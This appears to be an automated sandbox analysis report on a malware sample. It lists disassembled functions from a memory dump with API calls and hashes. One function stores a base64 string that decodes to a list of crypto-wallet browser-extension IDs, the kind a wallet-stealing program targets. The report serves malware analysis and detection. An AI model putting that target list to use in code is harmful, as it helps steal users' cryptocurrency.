Opcode Fuzzy Hash: 2633b2084f7c65c938b2587a300b4a64a2ac1cd8b353df60c6111d1c5ebbaf5c
Instruction Fuzzy Hash: 8501D8B4B041018BE700DB6DEA26A9533B99B1633DF094537E90687F42DA31E9D4C957

Function 6CAE0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAE0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAE0F88
GetCurrentThreadId.KERNEL32 ref: 6CAE0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CAE1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CAE10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CAE114B

Part of subcall function 6CAD8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CAF1563), ref: 6CAD8BD5

free.MOZGLUE(?), ref: 6CAE1174
free.MOZGLUE(?), ref: 6CAE1186

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: d38262cfb72d3c5f015c096a5fbb198d20641bfc2a55fd2a3a7256b52867f6a8
Instruction ID: d3d41c5adfb5cfadba99b2be6d13a4fa29c8aec662565a7c2362d06974c55876
Opcode Fuzzy Hash: d38262cfb72d3c5f015c096a5fbb198d20641bfc2a55fd2a3a7256b52867f6a8
Instruction Fuzzy Hash: E26105756043409FDB10CF25D9807AAB7F5BFC9308F04891DE99947712EB31E988EB82

Function 6CA9B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B6AC

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CA9B61E), ref: 6CA9B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B79A

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: a17c33e5ae56e8cf03cdec90fc8322ba64b12cfef1c52a26c056271b71ce9614
Instruction ID: 45834587e3f565d812119a76cd39d9a9b2b1ac8cd3277b37d1f3c21c4d5dce93
Opcode Fuzzy Hash: a17c33e5ae56e8cf03cdec90fc8322ba64b12cfef1c52a26c056271b71ce9614
Instruction Fuzzy Hash: 5741B4B2E001199FCB14DF68EC816AFB7F5BB44324F290769E825E7790E731A94487E1

Function 6CA9EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CB15104), ref: 6CA9EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA9EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA9EFEC
free.MOZGLUE(?), ref: 6CA9F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA9F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CA9F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9F065
moz_xmalloc.MOZGLUE ref: 6CA9F072

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 701bde418df9f95af2b7403079ae3996abe6741cdb22681299f4c58b9303e394
Instruction ID: 025866a50b7e6e3fdae0327850b8a8645d263c37f3ebab4342bb4438f30b910b
Opcode Fuzzy Hash: 701bde418df9f95af2b7403079ae3996abe6741cdb22681299f4c58b9303e394
Instruction Fuzzy Hash: 1841D4B1A102059FCB08CF68DC819AF77A9BF84324B24022DE816DB795FB31E955C7E1

Function 6CB0B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CB0B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB0B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB0B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB0B5F4
__Init_thread_footer.LIBCMT ref: 6CB0B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CB0B61F
std::_Facet_Register.LIBCPMT ref: 6CB0B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0B655

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 47f34cb069ffc248ee2992698989ba16afcf99dc406f77c9a18a35dbd7964a06
Instruction ID: 04781b859aa2ab988e94351d50dbaedad6d2491f3672205388586b3ae2775d4f
Opcode Fuzzy Hash: 47f34cb069ffc248ee2992698989ba16afcf99dc406f77c9a18a35dbd7964a06
Instruction Fuzzy Hash: 2631B1B1B00254CBCF04DF69C86A9BEBBB5FF8A324F140559D91697B40DB30AD06CB92

Function 6CAAB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CAECC83,?,?,?,?,?,?,?,?,?,6CAEBCAE,?,?,6CADDC2C), ref: 6CAAB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CAECC83,?,?,?,?,?,?,?,?,?,6CAEBCAE,?,?,6CADDC2C), ref: 6CAAB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CAECC83,?,?,?,?,?,?,?,?,?,6CAEBCAE), ref: 6CAAB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CAECC83,?,?,?,?,?,?,?,?,?,6CAEBCAE,?,?,6CADDC2C), ref: 6CAAB896

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: cf4f712c5abb714ada31f88ef07f775dea80a37fc14396acd05160716cb60cc2
Instruction ID: 5beaafc476e73b6ca5df680e22bf3ac65bd3a2002afea4409f98f5e28d186a6d
Opcode Fuzzy Hash: cf4f712c5abb714ada31f88ef07f775dea80a37fc14396acd05160716cb60cc2
Instruction Fuzzy Hash: DA518D757002088FDB19CF9CD498A2AB7F5FF8D318B59865DD98687751C730E842CB80

Function 6CAE27E0 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE289A
free.MOZGLUE(?,?,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE2910
free.MOZGLUE(00000001,?,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn,?,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE294E

Strings

b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn, xrefs: 6CAE27E3, 6CAE294D

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: freemalloc
String ID: b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn
API String ID: 3061335427-3501656417
Opcode ID: 86f76081538c8bb82f82e25d436b5deb451ac9231b8290d4f783bb601aaf62ad
Instruction ID: 36e7cd8c6c7cdff7a4e16256a29691947b9e5e9760c46fe18fd1eb093cee48a1
Opcode Fuzzy Hash: 86f76081538c8bb82f82e25d436b5deb451ac9231b8290d4f783bb601aaf62ad
Instruction Fuzzy Hash: 734161B1A002078FEB14CFA8D88876A77F6AB49308F150639D566EB740E771E984CB91

Function 6CA94DE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA94E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA94E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA94EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA94F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA94F1E

Strings

upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CA94ED0

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID: upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx
API String ID: 713647276-3917454776
Opcode ID: 9b6333af8500a8b157805187d9d902817bf311abe65bd0f4e3b1d29ad4153fa3
Instruction ID: 02c13cc8b465067e0d45fd3f8fe50ff4ebc7ac482e6e18c8514b2e318f2eb096
Opcode Fuzzy Hash: 9b6333af8500a8b157805187d9d902817bf311abe65bd0f4e3b1d29ad4153fa3
Instruction Fuzzy Hash: EB41D0716187069FC705CF29C48199BBBF4BF89344F148A2DF56687B41DB30E998CB92

Function 6CAE1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAE1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CAE1BE3,?,?,6CAE1D96,00000000), ref: 6CAE1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CAE1BE3,?,?,6CAE1D96,00000000), ref: 6CAE1D4C
GetCurrentThreadId.KERNEL32 ref: 6CAE1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAE1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAE1DDA

Part of subcall function 6CAE1EF0: GetCurrentThreadId.KERNEL32 ref: 6CAE1F03
Part of subcall function 6CAE1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CAE1DF2,00000000,00000000), ref: 6CAE1F0C
Part of subcall function 6CAE1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAE1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CAE1DF4

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 45192cadb17ba6df01220954d24fd7431a873333773672d16be80c5e67590553
Instruction ID: 5957a72c52e9c3aa11b4ea855ee3f5f61a1ec9bb96f4ef26e4c72f8bcc89a9e4
Opcode Fuzzy Hash: 45192cadb17ba6df01220954d24fd7431a873333773672d16be80c5e67590553
Instruction Fuzzy Hash: B74179B52007049FCB14DF28C489A66BBF9FB49318F10442DEA5A87B42DB71F854CB91

Function 6CAA38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CB1E220,?,?,?,?,6CAA3899,?), ref: 6CAA38B2
ReleaseSRWLockExclusive.KERNEL32(6CB1E220,?,?,?,6CAA3899,?), ref: 6CAA38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6CAA3899,?), ref: 6CAA38F1
RtlFreeHeap.NTDLL ref: 6CAA3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CAA3899,?), ref: 6CAA392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CAA3899,?), ref: 6CAA3943
RtlFreeHeap.NTDLL ref: 6CAA396E

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 614e38211acc4a7162c5279dc4c505804af6b8a8d5f948d191e4949feafac731
Instruction ID: 959fa9e1855e04cdb9bafa99aa99b8c6f2ffc25182c2cef816747a3f454cb47f
Opcode Fuzzy Hash: 614e38211acc4a7162c5279dc4c505804af6b8a8d5f948d191e4949feafac731
Instruction Fuzzy Hash: A5214772601710DFD710DF95C884B8ABBB9EF45328F158469D99A97B00C730F886CB91

Function 6CAD84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD85AC

Part of subcall function 6CAD7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAD85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD767F
Part of subcall function 6CAD7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAD85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD7693
Part of subcall function 6CAD7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAD85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD85B2

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 996453359f618480451c4feb45fffd09ef35995e5232caee422dceaac27df51d
Instruction ID: d55dd3686cdeec1eb5426bc5121268d8928b496e370eee641a0f37961eb9d9a7
Opcode Fuzzy Hash: 996453359f618480451c4feb45fffd09ef35995e5232caee422dceaac27df51d
Instruction Fuzzy Hash: CD2181742006019FDB14DB29D888A6AB7B9BF8430DF19482DE55FC3B41DB35F988CB91

Function 6CAA1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAA1699
VerSetConditionMask.NTDLL ref: 6CAA16CB
VerSetConditionMask.NTDLL ref: 6CAA16D7
VerSetConditionMask.NTDLL ref: 6CAA16DE
VerSetConditionMask.NTDLL ref: 6CAA16E5
VerSetConditionMask.NTDLL ref: 6CAA16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAA16F9

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 5ba39dc1796e4023927f5ad50754bfa357dba44185b1b3e4e4ceb5a766b9249e
Instruction ID: 24615cdc1794f51997398c483216546d9f80fd642c4c4f5b765e6a8c8360cc58
Opcode Fuzzy Hash: 5ba39dc1796e4023927f5ad50754bfa357dba44185b1b3e4e4ceb5a766b9249e
Instruction Fuzzy Hash: 5121D5B0740248BBEB105B688C4AFFB737CDF96704F004528F6059BAD0C7749D54C6A1

Function 6CADF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CADF598), ref: 6CADF621

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

GetCurrentThreadId.KERNEL32 ref: 6CADF637
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000,?,6CADF598), ref: 6CADF645
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000,?,6CADF598), ref: 6CADF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CADF62A

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
